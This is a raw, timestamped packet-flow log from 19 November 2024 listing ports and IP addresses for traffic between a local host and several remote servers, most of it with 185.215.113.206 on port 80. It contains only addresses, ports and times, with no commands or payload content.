Nov 19, 2024 01:01:43.461682081 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.461698055 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.461705923 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.461714983 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.461716890 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.461733103 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.461740971 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.461764097 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.461774111 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.470609903 CET	49921	443	192.168.2.6	162.159.61.3
Nov 19, 2024 01:01:43.470628977 CET	443	49921	162.159.61.3	192.168.2.6
Nov 19, 2024 01:01:43.470815897 CET	49923	443	192.168.2.6	162.159.61.3
Nov 19, 2024 01:01:43.470825911 CET	443	49923	162.159.61.3	192.168.2.6
Nov 19, 2024 01:01:43.471807003 CET	443	49921	162.159.61.3	192.168.2.6
Nov 19, 2024 01:01:43.474498987 CET	443	49923	162.159.61.3	192.168.2.6
Nov 19, 2024 01:01:43.474648952 CET	49923	443	192.168.2.6	162.159.61.3
Nov 19, 2024 01:01:43.478398085 CET	49921	443	192.168.2.6	162.159.61.3
Nov 19, 2024 01:01:43.478595972 CET	443	49921	162.159.61.3	192.168.2.6
Nov 19, 2024 01:01:43.479110956 CET	49923	443	192.168.2.6	162.159.61.3
Nov 19, 2024 01:01:43.479337931 CET	443	49923	162.159.61.3	192.168.2.6
Nov 19, 2024 01:01:43.550487995 CET	49924	443	192.168.2.6	162.159.61.3
Nov 19, 2024 01:01:43.550499916 CET	443	49924	162.159.61.3	192.168.2.6
Nov 19, 2024 01:01:43.550605059 CET	49921	443	192.168.2.6	162.159.61.3
Nov 19, 2024 01:01:43.550605059 CET	49923	443	192.168.2.6	162.159.61.3
Nov 19, 2024 01:01:43.550626040 CET	443	49923	162.159.61.3	192.168.2.6
Nov 19, 2024 01:01:43.612361908 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.612437963 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.612442017 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.612456083 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.612487078 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.612498999 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.612504959 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.612518072 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.612533092 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.612546921 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.612572908 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.612756014 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.612799883 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.612878084 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.612894058 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.612909079 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.612924099 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.612941027 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.612958908 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.612974882 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.613012075 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.613046885 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.613744020 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.613784075 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.613801003 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.613831043 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.613838911 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.613861084 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.613887072 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.613923073 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.613974094 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.614295006 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.614319086 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.614336014 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.614351034 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.614365101 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.614365101 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.614381075 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.614397049 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.614397049 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.614411116 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.614439011 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.614958048 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.614995003 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.615010977 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.615036011 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.615041971 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.615055084 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.615063906 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.615072012 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.615087986 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.615093946 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.615106106 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.615118027 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.615144968 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.615906000 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.616039038 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.616055012 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.616071939 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.616095066 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.616101980 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.616101980 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.616139889 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.616156101 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.616162062 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.616173983 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.616189957 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.616205931 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.616225958 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.616842031 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.616866112 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.616879940 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.616919994 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.616944075 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.616965055 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.617142916 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.617450953 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.617551088 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.643332958 CET	443	49922	162.159.61.3	192.168.2.6
Nov 19, 2024 01:01:43.643333912 CET	443	49925	162.159.61.3	192.168.2.6
Nov 19, 2024 01:01:43.643397093 CET	49922	443	192.168.2.6	162.159.61.3
Nov 19, 2024 01:01:43.643625021 CET	49925	443	192.168.2.6	162.159.61.3
Nov 19, 2024 01:01:43.647330999 CET	443	49920	162.159.61.3	192.168.2.6
Nov 19, 2024 01:01:43.650049925 CET	49920	443	192.168.2.6	162.159.61.3
Nov 19, 2024 01:01:43.657732010 CET	443	49927	23.221.22.214	192.168.2.6
Nov 19, 2024 01:01:43.659888029 CET	49924	443	192.168.2.6	162.159.61.3
Nov 19, 2024 01:01:43.659908056 CET	49923	443	192.168.2.6	162.159.61.3
Nov 19, 2024 01:01:43.666752100 CET	443	49926	23.221.22.214	192.168.2.6
Nov 19, 2024 01:01:43.667450905 CET	49927	443	192.168.2.6	23.221.22.214
Nov 19, 2024 01:01:43.667473078 CET	443	49927	23.221.22.214	192.168.2.6
Nov 19, 2024 01:01:43.667591095 CET	49926	443	192.168.2.6	23.221.22.214
Nov 19, 2024 01:01:43.667613029 CET	443	49926	23.221.22.214	192.168.2.6
Nov 19, 2024 01:01:43.667795897 CET	443	49927	23.221.22.214	192.168.2.6
Nov 19, 2024 01:01:43.667896032 CET	443	49926	23.221.22.214	192.168.2.6
Nov 19, 2024 01:01:43.668905020 CET	49926	443	192.168.2.6	23.221.22.214
Nov 19, 2024 01:01:43.668965101 CET	443	49926	23.221.22.214	192.168.2.6
Nov 19, 2024 01:01:43.669254065 CET	49927	443	192.168.2.6	23.221.22.214
Nov 19, 2024 01:01:43.669307947 CET	443	49927	23.221.22.214	192.168.2.6
Nov 19, 2024 01:01:43.761279106 CET	49926	443	192.168.2.6	23.221.22.214
Nov 19, 2024 01:01:43.765733957 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.765749931 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.765774012 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.765796900 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.765813112 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.765829086 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.765846014 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.765845060 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.765897036 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.765927076 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.766016960 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.766047001 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.766071081 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.766083956 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.766096115 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.766103983 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.766118050 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.766129971 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.766134024 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.766149998 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.766150951 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.766165972 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.766168118 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.766187906 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.766201019 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.766218901 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.766235113 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.766249895 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.766257048 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.766264915 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.766272068 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.766292095 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.766302109 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.766318083 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.766323090 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.766330957 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.766338110 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.766372919 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.766568899 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.766585112 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.766604900 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.766608000 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.766618967 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.766624928 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.766639948 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.766655922 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.766657114 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.766673088 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.766685009 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.766688108 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.766705036 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.766706944 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.766721964 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.766731977 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.766740084 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.766746044 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.766762018 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.766783953 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.766788006 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.766824961 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.766844034 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.766860008 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.766879082 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.766900063 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.766916037 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.766931057 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.766946077 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.766947031 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.766963005 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.766968012 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.766977072 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.766999006 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.767045021 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.767083883 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.767111063 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.767126083 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.767143011 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.767158985 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.767215967 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.767239094 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.767250061 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.767254114 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.767271042 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.767271996 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.767286062 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.767304897 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.767338037 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.767354965 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.767369986 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.767375946 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.767391920 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.767407894 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.767493010 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.767508030 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.767524004 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.767528057 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.767539978 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.767540932 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.767554998 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.767558098 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.767571926 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.767575026 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.767589092 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.767606974 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.772617102 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.772633076 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.772646904 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.772701979 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.772737026 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.772783995 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.772799969 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.772815943 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.772831917 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.772838116 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.772847891 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.772862911 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.772862911 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.772877932 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.772881985 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.772897959 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.772906065 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.772906065 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.772922039 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.772923946 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.772933006 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.772955894 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.772979021 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.772989988 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.772989988 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.772996902 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.773009062 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.773029089 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.773040056 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.773044109 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.773053885 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.773060083 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.773077011 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.773081064 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.773097038 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.773108006 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.773123026 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.773128986 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.773140907 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.773150921 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.773161888 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.773173094 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.773179054 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.773190022 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.773205042 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.773225069 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.773247004 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.773255110 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.773262978 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.773278952 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.773294926 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.773300886 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.773320913 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.773348093 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.773552895 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.773567915 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.773586035 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.773592949 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.773602009 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.773617983 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.773627996 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.773633003 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.773642063 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.773648977 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.773665905 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.773674011 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.773679972 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.773709059 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.830868959 CET	443	49928	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:43.863018036 CET	49927	443	192.168.2.6	23.221.22.214
Nov 19, 2024 01:01:43.871081114 CET	443	49929	23.192.223.232	192.168.2.6
Nov 19, 2024 01:01:43.887326002 CET	49928	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:43.887346983 CET	443	49928	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:43.887466908 CET	49929	443	192.168.2.6	23.192.223.232
Nov 19, 2024 01:01:43.887490034 CET	443	49929	23.192.223.232	192.168.2.6
Nov 19, 2024 01:01:43.887908936 CET	443	49928	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:43.891978979 CET	443	49929	23.192.223.232	192.168.2.6
Nov 19, 2024 01:01:43.892060995 CET	49929	443	192.168.2.6	23.192.223.232
Nov 19, 2024 01:01:43.894169092 CET	49928	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:43.894260883 CET	443	49928	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:43.895768881 CET	49929	443	192.168.2.6	23.192.223.232
Nov 19, 2024 01:01:43.895885944 CET	49928	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:43.895965099 CET	49929	443	192.168.2.6	23.192.223.232
Nov 19, 2024 01:01:43.895979881 CET	443	49929	23.192.223.232	192.168.2.6
Nov 19, 2024 01:01:43.923451900 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.923511982 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.923556089 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.923572063 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.923602104 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.923612118 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.923625946 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.923625946 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.923645973 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.923662901 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.923671961 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.923680067 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.923712969 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.923731089 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.923751116 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.923767090 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.923784971 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.923800945 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.923815012 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.923818111 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.923841953 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.923854113 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.923919916 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.923943996 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.923962116 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.923965931 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.923978090 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.923988104 CET	49889	80	192.168.2.6	185.215.113.206
